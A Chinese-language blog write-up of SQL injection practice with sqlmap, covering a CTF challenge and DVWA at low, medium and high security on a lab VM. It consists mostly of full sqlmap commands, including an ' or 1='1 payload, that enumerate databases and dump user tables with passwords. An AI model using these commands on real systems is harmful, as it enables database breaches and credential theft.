一些sqlmap的命令,留着备用:https://www.freebuf.com/sectool/164608.html
感觉这篇教程也不错:https://www.cnblogs.com/im404/p/3505894.html
命令合集:https://www.jianshu.com/p/fa77f2ed788b
在学习这个工具的时候我试着做了一下平台上一道题:
一开始一直没找到注入点,直到试了一下万能密码,发现可行:
首先列举数据库:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" --dbs
可以发现一共有4个可用的数据库。
friend数据库有些可疑,列举这个数据库的表名:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" -D friend --tables
发现了一个名为xiaohong的表,而题目中提示“小红不在同学名单里”,所以接下来获取xiaohong这个表的列名:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" -D friend -T xiaohong --columns
发现表中有3个字段:id,name,sign,接着爆字段:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://47.105.148.65:49176/index.php?submit=%27+or+1%3D%271" -D friend -T xiaohong -C "id,name,sign" --dump
顺利拿到了flag。
接下来测试一下DVWA的SQL注入漏洞。
首先是low级别。
写点东西提交一下,找到注入点,先只使用url试一下:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
有个302跳转,查了查应该是需要带上cookie。
带上cookie试一试:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1"
接下来列举数据库(偷了个懒用了--batch参数):
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --dbs
可以看到有8个可用的数据库。
接下来列举dvwa数据库中所有的表:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch -D dvwa --tables
一共有两个表。
获取表users的列名:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch -D dvwa -T users --columns
一共8列。
最后爆字段:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch -D dvwa -T users -C "user,avatar,first_name,last_name,password,user_id" --dump
这一步有些慢,但最终成功得到了数据:
接下来尝试medium级别。
在medium级别下,输入框被改成了下拉菜单,请求方式变成了post。
查了一下资料,发现这个级别也是可以使用sqlmap进行注入的,只不过命令要改成:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit"
参考资料:https://blog.csdn.net/monsterdouble/article/details/80818675
接下来的步骤与low级别几乎完全相同:
爆库:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit" --batch --dbs
爆表:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit" --batch -D dvwa --tables
爆字段:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --data "id=1&Submit=Submit" --batch -D dvwa -T users -C "user,first_name,last_name,password,user_id" --dump
最后是high级别(貌似impossible用sqlmap搞不了):
high提交查询和显示结果的页面不是一个,与medium相比发生了很大变化,据说这样做是为了防止sqlmap这样的自动化工具的扫描测试。
但是,仍然可以用sqlmap进行注入,只不过需要改变一下方法:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/"
参考资料:https://www.jianshu.com/p/e263ea40fe25
注:参考资料里的--second-order似乎已经无法使用了,但是可以使用--second-url替代
成功检测到了注入点:
接下来的步骤就和前两个级别差不多了:
爆库:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" --dbs
爆表:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" -D dvwa --tables
获取列名(测试medium级别时漏了这一步):
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" -D dvwa -T users --columns
爆字段:
C:\Users\Virtual Address\sqlmap>python sqlmap.py -u "http://192.168.113.128/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=ui1cu2ri50j8uv993u4rto58p1" --batch --second-url="http://192.168.113.128/dvwa/vulnerabilities/sqli/" -D dvwa -T users -C "user,first_name,last_name,password,user_id" --dump